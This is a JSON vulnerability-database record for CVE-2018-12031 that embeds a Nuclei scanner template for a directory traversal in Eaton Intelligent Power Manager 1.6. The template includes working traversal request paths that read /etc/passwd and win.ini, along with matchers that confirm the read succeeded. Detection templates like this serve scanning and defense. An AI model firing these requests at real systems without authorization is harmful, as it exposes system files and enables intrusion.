{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-12031/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-12031/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-12031/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-12031/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-12031/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-12031"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-12031"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-12031.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2018-12031\n\ninfo:\n  name: Eaton Intelligent Power Manager 1.6 - Directory Traversal\n  author: daffainfo\n  severity: critical\n  description: Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.\n  impact: |\n    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.\n  remediation: |\n    Apply the latest security patch or upgrade to a newer version of Eaton Intelligent Power Manager to mitigate this vulnerability.\n  reference:\n    - https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion\n    - https://www.exploit-db.com/exploits/48614\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-12031\n    - https://github.com/0xT11/CVE-POC\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-12031\n    cwe-id: CWE-22\n    epss-score: 0.19762\n    epss-percentile: 0.97289\n    cpe: cpe:2.3:a:eaton:intelligent_power_manager:1.6:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: eaton\n    product: intelligent_power_manager\n  tags: cve,cve2018,edb,lfi,eaton,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd\"\n      - \"{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"\\\\[(font|extension|file)s\\\\]\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100fb357206377a3de35167fc7d773eca8c2b609120ccc061008b601e1afcd128ff022100f8d2e86be3139487b98fef1066e662cd2a917f24bf7b1a9abc4ba4e561592647:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-12031"
}